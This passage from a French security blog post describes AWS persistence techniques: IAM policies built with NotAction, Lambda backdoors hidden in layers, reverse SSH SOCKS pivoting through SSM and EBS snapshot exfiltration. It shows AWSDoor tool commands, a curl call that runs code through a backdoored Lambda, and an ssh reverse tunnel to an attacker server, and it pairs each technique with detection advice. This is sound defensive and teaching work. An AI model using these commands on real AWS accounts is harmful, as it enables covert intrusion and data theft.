(max-width: 1013px) 100vw, 1013px" /><figcaption id="caption-attachment-27312" class="wp-caption-text"><em>Exemple d&rsquo;évènement UpdateAssumeRolePolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, <strong>AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés</strong>.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Une politique de rôle IAM (<em>IAM role policy</em>) est un document <em>JSON</em> <strong>attaché à un rôle IAM qui définit quelles actions le rôle est autorisé </strong>(ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.</p>
<p style="text-align: justify;">Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Dans la syntaxe des politiques, <strong>il est possible d’utiliser un opérateur de négation </strong>: au lieu de définir une liste blanche (<em>whitelist</em>) d’actions autorisées, il est possible de définir une liste noire (<em>blacklist) </em>d’actions.</p>
<p style="text-align: justify;">En effet, <strong>en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions</strong>, sauf celles explicitement listées.</p>
<p style="text-align: justify;">Par exemple, la politique suivante :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette politique permettra au rôle <strong>d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 :</strong> elle accorde donc au rôle associé des privilèges maximaux sur le compte.</p>
<p style="text-align: justify;">Pour un défenseur, cette politique peut, à première vue, <strong>sembler inoffensive car elle cible une ressource S3 précise</strong>. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.</p>
<p style="text-align: justify;">Un attaquant peut ensuite <strong>installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy</strong>, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">Pour la stratégie, il existe deux possibilités :</p>
<ul>
<li style="text-align: justify;"> <strong>Politique attachée :</strong> c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :</li>
</ul>
<p> </p>
<figure id="attachment_27314" aria-describedby="caption-attachment-27314" style="width: 1004px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27314" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png" alt="Politique de rôle attachée" width="1004" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word.png 1374w" sizes="auto, (max-width: 1004px) 100vw, 1004px" /><figcaption id="caption-attachment-27314" class="wp-caption-text"><em>Politique de rôle attachée</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Stratégie inline (-i)</strong> : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme <em>inline</em>). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.</li>
</ul>
<p style="text-align: justify;">Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.</p>
<p> </p>
<figure id="attachment_27316" aria-describedby="caption-attachment-27316" style="width: 1067px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27316" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png" alt="Une politique inline" width="1067" height="454" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word.png 1562w" sizes="auto, (max-width: 1067px) 100vw, 1067px" /><figcaption id="caption-attachment-27316" class="wp-caption-text"><em>Une politique inline</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du point de vue d’un défenseur, l<strong>’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons</strong>, en particulier lorsqu’elle est associée à des champs NotResource.</p>
<p style="text-align: justify;">Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :</p>
<ul>
<li style="text-align: justify;"><strong> Surveiller les modifications des stratégies IAM</strong> via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.</li>
<li style="text-align: justify;"><strong> Enquêter sur les documents de stratégie contenant le mot-clé NotAction </strong>: cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).</li>
<li style="text-align: justify;"><strong> Appliquer un contrôle de conformité avec AWS Config </strong>: une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.</li>
</ul>
<p> </p>
<h3>Persistance basée sur les ressources</h3>
<p style="text-align: justify;">Dans AWS, <strong>il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2</strong> ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.</p>
<p style="text-align: justify;">Du point de vue d’un attaquant, <strong>cette configuration peut être utile pour maintenir une persistance</strong>. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.</p>
<p style="text-align: justify;">Cela signifie que <strong>l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM</strong>. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code</strong> dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.</p>
<p style="text-align: justify;">Par exemple, pour gérer les administrateurs de comptes, il est possible de créer <strong>une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB </strong>: la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.</p>
<p style="text-align: justify;">Par conséquent, <strong>il n’est pas habituel d’associer une identité IAM à une fonction Lambda.</strong></p>
<p> </p>
<h5><span style="text-decoration: underline;">Rôle sur-privilégié</span></h5>
<p style="text-align: justify;">Un moyen d’obtenir une persistance sur un compte AWS consiste soit à <strong>associer une identité IAM sur-privilégiée</strong> à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.</p>
<p>Par exemple, un attaquant peut :</p>
<ul style="text-align: justify;">
<li> Créer une fonction Lambda</li>
<li> Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)</li>
<li> Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda</li>
<li> Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">La figure suivante <strong>résume le déploiement de la persistance </strong>:</p>
<p> </p>
<figure id="attachment_27318" aria-describedby="caption-attachment-27318" style="width: 1370px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27318" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png" alt="Déploiement de la persistance Lambda" width="1370" height="1118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word.png 1142w" sizes="auto, (max-width: 1370px) 100vw, 1370px" /><figcaption id="caption-attachment-27318" class="wp-caption-text"><em>Déploiement de la persistance Lambda</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer</strong>. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.</p>
<p style="text-align: justify;">Une approche plus subtile consiste à <strong>dissimuler la charge utile malveillante dans une Lambda layer</strong> plutôt que dans le code même de la fonction.</p>
<p style="text-align: justify;">Une Lambda layer est un moyen <strong>de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés</strong>. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.</p>
<p style="text-align: justify;">Du point de vue d’AWS, <strong>la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console</strong>.</p>
<p style="text-align: justify;">Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.</p>
<p> </p>
<p data-wp-editing="1"><img loading="lazy" decoding="async" class=" wp-image-27320 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png" alt="Visibilité d'un layer sur un lambda" width="1170" height="447" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word.png 1611w" sizes="auto, (max-width: 1170px) 100vw, 1170px" /> <img loading="lazy" decoding="async" class=" wp-image-27322 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png" alt="" width="1172" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word.png 1634w" sizes="auto, (max-width: 1172px) 100vw, 1172px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>L’utilisation d’un layer est visible</strong> (mais peut facilement passer inaperçue), mais pour télécharger le code<strong>, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer</strong> et le télécharger (sans l’afficher) au format ZIP :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27324 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png" alt="Panneau spécifique lambda layer" width="1166" height="403" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word.png 1704w" sizes="auto, (max-width: 1166px) 100vw, 1166px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer</strong> lors de la phase initiale de triage.</p>
<p style="text-align: justify;">Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.</p>
<p style="text-align: justify;">Par exemple, après avoir téléchargé le package requests avec pip :</p>
<p> </p>
<pre>pip install -t python requests<br /><br /></pre>
<p style="text-align: justify;">L’attaquant <strong>modifie la fonction get() afin d’exécuter des commandes arbitraires </strong>:</p>
<p> </p>
<figure id="attachment_27327" aria-describedby="caption-attachment-27327" style="width: 1228px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27327" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png" alt="Injection dans la fonction requests.get" width="1228" height="817" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-768x512.png 768w" sizes="auto, (max-width: 1228px) 100vw, 1228px" /><figcaption id="caption-attachment-27327" class="wp-caption-text"><em>Injection dans la fonction requests.get</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ensuite, <strong>le package est compressé au format ZIP et déployé en tant que </strong><strong>layer</strong>, qui est attachée à la fonction cible :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27329 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Un layer est attaché à la fonction cible" width="654" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word.png 1003w" sizes="auto, (max-width: 654px) 100vw, 654px" /></p>
<p> </p>
<p style="text-align: justify;">Enfin, <strong>le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise</strong>, ce qui peut sembler inoffensif à première vue :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27332 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png" alt="La fonction Get injectée appelée dans du code" width="597" height="172" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word.png 1235w" sizes="auto, (max-width: 597px) 100vw, 597px" /></p>
<p> </p>
<p style="text-align: justify;">Ce <strong>qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché</strong>. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">Quelques paramètres supplémentaires peuvent être utilisés :</p>
<ul style="text-align: justify;">
<li> <strong>-l : utiliser une couche Lambda</strong>, sinon inclure le code malveillant directement dans la Lambda</li>
<li> <strong>-g : utiliser une API Gateway</strong>, sinon utiliser une FunctionURL</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet </strong>; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27334 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png" alt="L'APi Gateway est visible en tant que déclencheur" width="596" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word.png 1372w" sizes="auto, (max-width: 596px) 100vw, 596px" /></p>
<p> </p>
<p style="text-align: justify;">La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:</p>
<p> </p>
<pre>curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du point de vue d’un défenseur, <strong>les Lambda </strong><strong>layers sont souvent négligées lors des réponses à incident</strong>, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, <strong>un contenu malveillant peut facilement passer inaperçu</strong>. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.</p>
<p style="text-align: justify;">Les <strong>stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité</strong> à identifier et à réagir à une utilisation suspecte des couches Lambda :</p>
<ul>
<li style="text-align: justify;"><strong> Auditer les attachements de Lambda layers</strong>: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.</li>
<li style="text-align: justify;"><strong> Restreindre la mise à jour des layers au flux CICD </strong>: empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.</li>
<li style="text-align: justify;"><strong> Vérifier les Lambda exposées directement sur Internet :</strong> exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.</li>
</ul>
<p> </p>
<figure id="attachment_27336" aria-describedby="caption-attachment-27336" style="width: 956px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27336" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png" alt="Événement déclenché lors de la création d’un API Gateway" width="956" height="500" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word.png 1395w" sizes="auto, (max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27336" class="wp-caption-text"><em>Événement déclenché lors de la création d’un API Gateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27338" aria-describedby="caption-attachment-27338" style="width: 998px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27338" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png" alt="Événement déclenché lors de l’association d’une URL à une fonction Lambda" width="998" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word.png 1599w" sizes="auto, (max-width: 998px) 100vw, 998px" /><figcaption id="caption-attachment-27338" class="wp-caption-text"><em>Événement déclenché lors de l’association d’une URL à une fonction Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que les <strong>layers soient une fonctionnalité puissante et utile</strong>, elles constituent <strong>un angle mort dans de nombreuses configurations de </strong><strong>monitoring</strong> de la sécurité AWS.</p>
<p> </p>
<h4>EC2</h4>
<h5><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM) <strong>offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2</strong> sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, <strong>les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances</strong>, le tout sans les exposer à Internet public ni gérer de bastions d’accès.</p>
<p style="text-align: justify;">L’un des principaux avantages de SSM est <strong>la réduction de la surface d’attaque grâce à la limitation des services exposés</strong>. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.</p>
<p style="text-align: justify;">D’un point de vue sécurité, <strong>bien que SSM réduise l’exposition, il introduit également de nouveaux risques</strong>. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.</p>
<p style="text-align: justify;">Un attaquant ayant <strong>accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2</strong> et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :</p>
<p> </p>
<pre>ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :</p>
<p> </p>
<pre>ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Cela lui permet de faire <strong>transiter du trafic à travers l’instance EC2 compromise</strong>, en l’utilisant comme point d’appui à l’intérieur du réseau.</p>
<p> </p>
<h5><strong><u>Exfiltration de snapshot</u></strong></h5>
<p style="text-align: justify;">Bien qu’elle ne constitue pas un mécanisme de persistance, <strong>l’exfiltration de snapshot est une technique puissante d’exfiltration de données</strong> dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.</p>
<p style="text-align: justify;">Un attaquant <strong>disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS</strong>, puis le partager avec un compte externe qu’il contrôle.</p>
<p> </p>
